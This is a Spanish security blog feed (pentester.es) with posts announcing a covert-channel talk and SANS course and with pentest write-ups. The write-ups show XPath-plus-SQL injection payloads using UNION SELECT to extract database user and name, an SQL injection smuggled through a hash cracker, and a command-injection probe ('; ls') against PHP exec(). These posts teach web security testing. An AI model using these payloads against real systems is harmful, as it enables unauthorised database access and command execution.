&lt;div style="text-align: justify;"&gt;El código fuente de la PoC (FaceCat) y una serie de posts explicando con detalles, lo dejaré para dentro de algunas semanas, para hacerlo coincidir con la publicación de un paper sobre este tema que va a publicar el &lt;a href="http://www.sans.org/reading_room/" target="_blank"&gt;SANS Institute&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6373638857844855877?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/02/covert-channels-over-social-networks.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/1ehLP2Cj6U4/default.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-9143979195553131853</guid><pubDate>Thu, 16 Feb 2012 19:01:00 +0000</pubDate><atom:updated>2012-02-16T20:01:33.155+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SANS</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><title>"WebApp Penetration Testing &amp; Ethical Hacking" del SANS en Madrid</title><description>&lt;div style="text-align: justify;"&gt;¿Te interesa la seguridad web? ¿Eres el responsable de seguridad de una empresa donde la inmensa mayoría de los servicios son web? ¿Te gustaría empezar a especializarte en auditoría web? ¿Eres desarrollador y estás cansado de que te saquen los colores en las auditorías?&lt;br /&gt;
&lt;a href="https://www.sans.org/images/sanslogo_block.jpg"&gt;&lt;img alt="" border="0" src="https://www.sans.org/images/sanslogo_block.jpg" style="cursor: pointer; float: right; height: 163px; margin: 0pt 0pt 10px 10px; width: 176px;" /&gt;&lt;/a&gt;&lt;br /&gt;
Si has respondido SI a alguna de estas preguntas, ahora tienes la oportunidad que estabas esperando. Entre el 12 y el 17 de Marzo (lunes-sábado) se imparte en Madrid el curso&amp;nbsp;"&lt;a href="http://blog.taddong.com/p/sec-542.html" target="_blank"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;SEC542: WebApp Penetration Testing &amp;amp; Ethical Hacking&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;" en modalidad &lt;a href="http://www.sans.org/community_sans/" target="_blank"&gt;&lt;span style="font-weight: bold;"&gt;Community&lt;/span&gt;&lt;/a&gt;. Hace algún tiempo publiqué en este mismo blog una extensa explicación sobre las diferentes modalidad de curso que ofrece el SANS Institute, que podeis consultar &lt;a href="http://www.pentester.es/p/sans.html" target="_blank"&gt;AQUÍ&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
El curso se realiza de forma totalmente presencial, en 6 días de 6 horas, entre el 12 (lunes) y el 17 de Marzo (sábado), ambos inclusive. El idioma del curso es &lt;b&gt;en Español&lt;/b&gt;, pero los materiales (libros, DVDs, ...) estarán en Inglés, al igual que el examen, que en caso de realizarlo también será totalmente en Inglés.&lt;br /&gt;
&lt;br /&gt;
El profesor, de auténtico lujo, &lt;b&gt;&lt;a href="http://es.linkedin.com/in/raulsiles" target="_blank"&gt;Raúl Siles&lt;/a&gt;&lt;/b&gt;, que además de Instructor del SANS Institute es Fundador de la empresa &lt;b&gt;&lt;a href="http://www.taddong.com/" target="_blank"&gt;Taddong&lt;/a&gt;&lt;/b&gt; y ponente habitual de las principales conferencias nacionales e internacionales.&lt;br /&gt;
&lt;br /&gt;
Para finalizar, el SANS Institute ofrece a los lectores de &lt;a href="http://www.pentester.es/" target="_blank"&gt;Pentester.Es&lt;/a&gt; un descuento especial de un &lt;b&gt;10%&lt;/b&gt; del valor del curso introduciendo el código&amp;nbsp;&lt;b&gt;CS-1MAD4Y&lt;/b&gt; en el momento del registro, aunque es necesario que primero os&amp;nbsp;pongáis&amp;nbsp;en contactos con el instructor del curso para que os resuelva cualquier duda que podais tener.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
Si&amp;nbsp;necesitáis&amp;nbsp;más información sobre el curso o sobre cualquier otra cosa, la podeis consultar en &lt;a href="http://www.taddong.com/docs/SANS_Madrid_2012.pdf" target="_blank"&gt;ÉSTE &lt;/a&gt;documento, o preguntar directamente por correo electrónico a &lt;a href="http://www.taddong.com/es/contact.html" target="_blank"&gt;Raúl Siles&lt;/a&gt;.&lt;br /&gt;
El registro para el curso puede realizarse &lt;a href="http://www.sans.org/madrid-2012-cs/description.php?tid=4382" target="_blank"&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-9143979195553131853?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/02/webapp-penetration-testing-ethical.html</link><author>noreply@blogger.com (Jose Selvi)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-180940216023282704</guid><pubDate>Tue, 31 Jan 2012 06:37:00 +0000</pubDate><atom:updated>2012-01-31T07:37:55.315+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">GSIC</category><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><title>FaceCat en GSIC - La Coruña</title><description>&lt;div style="text-align: justify;"&gt;Los próximos días 23, 24 y 25 de Febrero tendrá lugar en La Coruña la cuarta edición de las &lt;a href="http://gsicoruna.com/info.html"&gt;Jornadas G.S.I.C&lt;/a&gt;, en las que tendré la oportunidad de participar como ponente y hablar de una prueba de concepto de uso de canales cubiertos sobre redes sociales, concretamente FaceBook, llamada &lt;a href="http://tools.pentester.es/facecat"&gt;&lt;b&gt;FaceCat&lt;/b&gt;&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;En la charla, además de explicar los pasos que se siguieron para el diseño de la herramienta, haremos un par de demos de como se podría emplear esta herramienta (o técnicas parecidas) para ocultar la comunicación de un conocido troyano, siendo a nivel de red indistinguible de una comunicación de FaceBook.&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Además de la mía, podréis asistir a otras charlas muy interesantes, que podéis ver &lt;a href="http://gsicoruna.com/talks.html"&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Os recomiendo a todos la asistencia.&lt;br /&gt;
Nos vemos allí!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-180940216023282704?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/01/facecat-en-gsic-la-coruna.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7384707023980306313</guid><pubDate>Mon, 16 Jan 2012 06:17:00 +0000</pubDate><atom:updated>2012-01-16T07:17:00.430+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">SQLi</category><category domain="http://www.blogger.com/atom/ns#">XPathi</category><title>XPath y SQL Injection: Todos a una</title><description>&lt;div style="text-align: justify;"&gt;Por desgracia (o por suerte), muchos de nosotros estamos acostumbrado a encontrarnos esas Inyecciones SQL tan de libro como poner un ' AND '1'='1 y a partir de ahí empezar a jugar. Desde luego, son las más rápidas de encontrar y de explotar, pero del mismo modo son las menos divertidas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, a veces me encuentro con&amp;nbsp;vulnerabilidades&amp;nbsp;más curiosas y divertidas, por ejemplo es muy típico eso de que la misma variable se use para varias cosas dentro de un mismo código, y que para llegar a explotar la vulnerabilidad tengas primero que conseguir que la cadena que metas no provoque errores anteriores.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El caso que os voy a comentar aquí es de este tipo, y está basado en casos reales que me he encontrado por ahí. Imaginad una URL del siguiente tipo:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;http://demo.pentester.es/buscar.aspx?ID=666999&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La web simplemente muestra la descripción de un articulo concreto, hasta aquí nada "divertido".&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Podemos empezar a meter caracteres varios como si no hubiera mañana, a ver como responde, comillas simples, dobles, cadenas típicas de inyección, etc, hasta que introduzcamos algo como:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;ID=666999' ERROR&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Y nos devuelve un error como el siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Lqst2-RVddw/Tw8r7c6sMmI/AAAAAAAAAmA/l9_M9tvyBkc/s1600/Post001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-Lqst2-RVddw/Tw8r7c6sMmI/AAAAAAAAAmA/l9_M9tvyBkc/s1600/Post001.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Tiene toda la pinta de ser vulnerable a XPath Injection. Vamos a comprobarlo:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;ID=666999' and 'foo'='foo&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/--BxeRf1AOn4/Tw8sReHsaXI/AAAAAAAAAmI/0tjSBuWdojQ/s1600/Post002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/--BxeRf1AOn4/Tw8sReHsaXI/AAAAAAAAAmI/0tjSBuWdojQ/s1600/Post002.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Wooops! Qué tenemos aquí? Parece que además de usar el valor del parametro ID para la consulta XPath, a posteriori usa ese mismo valor para realizar una petición SQL a una base de datos Oracle.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Hará esta petición siempre? ¿O únicamente si la petición XPath devuelve resultados?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Forcemos que no devuelva ninguno, a ver que pasa:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;ID=666999' and 'foo'='fuu&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Con esto hemos conseguido que la petición XPath sea siempre falsa, y efectivamente no nos devuelve ningún error SQL (y la ficha aparece vacía de datos, evidentemente), así que necesitamos que se nos devuelva algún valor y que la sintaxis sea correcta para que podamos intentar la Inyección SQL.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El problema con el que nos encontramos es que el contenido del parámetro ID es empleado en la consulta SQL como un numerico, así que al poner las comillas para hacer el XPath Injection fastidiamos la sintaxis de la sentencia SQL, y si no ponemos la comilla entonces estamos haciendo que la consulta XPath no devuelva ningún resultado, con lo que nunca se ejecuta la SQL.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Cómo salimos de esta?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vamos a tener que inventarnos algún tipo de cadena de inyección que cumpla las siguientes condiciones:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;No provoque un error de sintaxis XPath&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Haga que devuelva algún valor en la consulta XPath&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;No provoque un error de sintaxis SQL&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por suerte tenemos a la vista tanto la sentencia XPath como la sentencia SQL, así que la cosa nos va a resultar mucho más fácil. Seguro que existen mucha manera de resolver este mismo problema, pero a mi la que primero me ha venido la cabeza es la siguiente:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dado que el principal problema es que no podemos introducir instrucciones SQL por dentro de las comillas simples (que es donde nos hace falta) porque eso provoca que la petición XPath no devuelva ningún resultado y por tanto que la SQL nunca se ejecute, una posible solución sería &lt;b&gt;replicar la condición&lt;/b&gt; de la siguiente forma:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;ID=666999' or ID=666999&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Lo cual, al inyectarse dentro de la petición XPath, la dejará de la siguiente manera:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;TEST/REGISTROS['ID=&lt;b&gt;666999' or ID='666999&lt;/b&gt;']&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora podemos introducir todo lo que queramos antes de la primera comilla (salvo comillas, claro está), y eso no provocará ningún tipo de error XPath ni impedirá que la sentencia devuelva los valores esperados, con lo que ya podemos centrarnos en la SQL.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si observamos la SQL, tiene un montón de lineas, paréntesis, subqueries y demás. El valor que nosotros introducimos, además, aparece en varios sitios de la query, pero por suerte la primera vez que aparece es en una de las primeras condiciones de los WHERE, así que nos va a resultar bastante sencillo "cargarnos" el resto de la query comentándola:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;ID=666999 -- ' or ID='666999&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Eso dejaría una query SQL del aspecto de la siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;SELECT a,b,c,d,e,f,g FROM t1,t2,t3,t4,t5,t6,t7,t8 WHERE id=&lt;b&gt;666999 -- ' or ID='666999&lt;/b&gt; [...]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Nota: Ponemos [...] en lugar de todo el churro que ya no nos interesa de ahora en adelante.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podeis ver, la cosa parece que se nos pone cuesta abajo a partir de este punto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora solo tenemos que concatenarle un UNION con el número de columnas adecuado a ver si conseguimos sacar información por pantalla:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;ID=666999&amp;nbsp;&lt;b&gt;UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL&lt;/b&gt; -- ' or ID='666999&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Esto debería sacarnos la información del artículo con todo campos&amp;nbsp;vacíos, pero en lugar de eso vemos lo siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5P71-v9zRcg/Tw89epbGgEI/AAAAAAAAAmQ/LOUiDyH2aNE/s1600/Post003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-5P71-v9zRcg/Tw89epbGgEI/AAAAAAAAAmQ/LOUiDyH2aNE/s1600/Post003.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Parece ser que el mismo parámetro se usa una segunda vez para formar otra sentencia SQL, pero esta ya no tiene 7 columnas, sino una sola, así que el UNION que nos va a funcionar con una nunca funcionará con la otra. Esto podría ser un problema, pero no nos pongamos nervioso, quizá simplemente dándole a aceptar...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Efectivamente, aunque la segunda sentencia nos devuelva un error, la primera se ejecuta y además imprime los resultados por pantalla, lo cual podemos comprobarlo por ejemplo mostrando el nombre del usuario:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;ID=666999 UNION SELECT NULL,&lt;b&gt;USER&lt;/b&gt;,&lt;b&gt;SYS.DATABASE_NAME&lt;/b&gt;,NULL,NULL,NULL,NULL FROM DUAL -- ' or ID='666999&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A partir de aquí, ya seguiríamos el proceso de Inyección SQL habitual, intentar sacar las tablas, información sensible, intentar escalar privilegios, e incluso ejecutar código en el sistema operativo, si fuera posible.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-7384707023980306313?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/01/xpath-y-sql-injection-todos-una.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-Lqst2-RVddw/Tw8r7c6sMmI/AAAAAAAAAmA/l9_M9tvyBkc/s72-c/Post001.png" height="72" width="72" /><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-8251272294036009504</guid><pubDate>Thu, 12 Jan 2012 06:19:00 +0000</pubDate><atom:updated>2012-01-12T07:19:00.120+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">SQLi</category><title>Crackeando un Hash Cracker (III): SQLi con MD5</title><description>&lt;span style="text-align: justify;"&gt;Contribución de&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.linkedin.com/in/juliogomezortega" style="text-align: justify;" target="_blank"&gt;&lt;b&gt;Julio Gómez&lt;/b&gt;&lt;/a&gt;&lt;span style="text-align: justify;"&gt;: Continuam&lt;/span&gt;os &lt;a href="http://www.pentester.es/2012/01/crackeando-un-hash-cracker-ii-cmdi.html" target="_blank"&gt;el post de ayer&lt;/a&gt;&amp;nbsp;y acabamos la serie sobr&lt;span style="text-align: justify;"&gt;e como se puede crackear un hash cracker:&lt;/span&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;También veo que almacenan todas las contraseñas que la aplicación rompe en una base de datos... ¿Inyección de SQL? La sentencia que utilizan es similar a la siguiente:&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;mysql_query ("INSERT INTO table (timestamp, hash, algorithm, pass) VALUES ('".time()."', '".$hash."', '".$algorithm."', '".$pass."')");&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Como la inserción sólo se ejecuta si se recupera la contraseña, el hash y el algoritmo de cifrado tienen que haber sido correctos para poder ejecutar findmyhash por debajo. Así que sólo podemos probar a inyectar en el campo 'password'.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Utilizando el mismo método que con el Cross Site Scripting, pruebo primero con una inyección sencilla:&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;calculo el hash de la cadena a inyectar. En este caso utilizo "&lt;b&gt;password')#a&lt;/b&gt;" (sin las comillas): 380af891ac68ababff4d96cb2d242c06&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;pruebo a introducir el hash para ver si lo rompe la aplicación (que lo hace, ya que lo he calculado en uno de los servicios que utiliza).&lt;/li&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ar0R6RVaPEo/TvugCVZfyvI/AAAAAAAAAO4/dcVrGWakLbg/s1600/Imagen+06.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://2.bp.blogspot.com/-ar0R6RVaPEo/TvugCVZfyvI/AAAAAAAAAO4/dcVrGWakLbg/s320/Imagen+06.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;li style="text-align: justify;"&gt;accedo a la base de datos para que ver si ha añadido la cadena completa ("password')#a") o tan sólo la palabra "&lt;b&gt;password&lt;/b&gt;", que era el objetivo. Y compruebo que la inyección ha funcionado, almacenando una password errónea:&lt;/li&gt;
&lt;/ol&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-8gizC3SolT0/TvugXpPNcDI/AAAAAAAAAPE/CaLFYBlrzCA/s1600/Imagen+07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="11" src="http://1.bp.blogspot.com/-8gizC3SolT0/TvugXpPNcDI/AAAAAAAAAPE/CaLFYBlrzCA/s400/Imagen+07.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Lo siguiente que se me ocurre es probar a insertar varios registros de una sola vez con una inyección como la siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;fake1'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake2'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake3'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake4&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
cuyo hash es:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;2751527becb471df139eb066442bef74&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Si vuelvo a acceder a la base de datos puedo comprobar que se han añadido cuatro filas nuevas con tan sólo una consulta:&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-IBZKQDDeRAQ/TvughbaFA2I/AAAAAAAAAPQ/9p9lr0wI6wY/s1600/Imagen+08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="60" src="http://3.bp.blogspot.com/-IBZKQDDeRAQ/TvughbaFA2I/AAAAAAAAAPQ/9p9lr0wI6wY/s400/Imagen+08.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Nota &lt;a href="https://twitter.com/#!/JoseSelvi" target="_blank"&gt;Jose Selvi&lt;/a&gt;: Ciertamente, teniendo un acceso shell, quizá explotar una SQLi carezca de sentido, puesto que podríamos subir una webshell que accediera a la base de datos y la modificara de la forma que queramos, pero aún así Julio lo ha hecho para demostrar la existencia de la vulnerabilidad.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como hemos visto, aunque la aplicación valida las entradas del usuario para tratar de evitar los Cross Site Scripting, hay otros vectores de inyección que no se han tenido en cuenta a la hora de implementarla.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En general, todos&amp;nbsp;&lt;b&gt;los datos de entrada de una aplicación&lt;/b&gt;, provengan de donde provengan (entradas de usuario, bases de datos, ficheros de configuración, salida de otras aplicaciones...),&amp;nbsp;&lt;b&gt;deben validarse de la manera más restrictiva posible&lt;/b&gt;&amp;nbsp;y no hay que confiar en que el origen de los datos sea "confiable", porque como acabamos de ver, no siempre es realmente confiable todo lo que lo parece.&lt;/div&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Espero que esta entrada haya servido para echarle un poco de imaginación a la hora de descubrir posibles vectores de inyección y para comprobar que todas las aplicaciones son susceptibles de tener alguna vulnerabilidad (hemos explotado tres vulnerabilidades diferentes a través del mismo parámetro).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-8251272294036009504?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/01/crackeando-un-hash-cracker-iii-sqli-con.html</link><author>noreply@blogger.com (Julio Gómez)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-ar0R6RVaPEo/TvugCVZfyvI/AAAAAAAAAO4/dcVrGWakLbg/s72-c/Imagen+06.jpeg" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7599159761777205227</guid><pubDate>Wed, 11 Jan 2012 06:18:00 +0000</pubDate><atom:updated>2012-01-12T08:15:14.049+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">CMDi</category><title>Crackeando un Hash Cracker (II): CMDi</title><description>&lt;div style="text-align: justify;"&gt;Contribución de &lt;a href="http://es.linkedin.com/in/juliogomezortega" target="_blank"&gt;&lt;b&gt;Julio Gómez&lt;/b&gt;&lt;/a&gt;: Continuamos &lt;a href="http://www.pentester.es/2012/01/crackeando-un-hash-cracker-i-xss-con.html" target="_blank"&gt;el post de antes de ayer&lt;/a&gt; sobre como se puede crackear un hash cracker:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Después de haber utilizado la aplicación varias veces, vemos que los mensajes que devuelve en la salida son exactamente iguales a los de la herramienta que os comentaba al comienzo de la entrada. Además de que si consultamos la sección "&lt;i&gt;What's this site?&lt;/i&gt;" dice específicamente que el sitio está basado en findmyhash.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sabiendo que findmyhash es un script en Python que se llama desde la línea de comandos y que la aplicación web está implementada en PHP, podría ser que el sitio estuviera realizando alguna llamada al sistema de la forma:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;exec ("python findmyhash.py " . $_POST['encrypt-method'] . " -h " . $_POST['hash']);&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sabiendo que el servidor que utiliza es un Apache sobre Debian (se puede ver en la cabecera Server de la respuesta HTTP), se me ocurre probar una inyección de comandos en Linux. Algo parecido a "&lt;b&gt;&lt;i&gt;; ls&lt;/i&gt;&lt;/b&gt;":&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-MEqD0HpckDc/TvufP6BxMKI/AAAAAAAAAOU/3Crjq-O_WTk/s1600/Imagen+04.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://2.bp.blogspot.com/-MEqD0HpckDc/TvufP6BxMKI/AAAAAAAAAOU/3Crjq-O_WTk/s320/Imagen+04.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
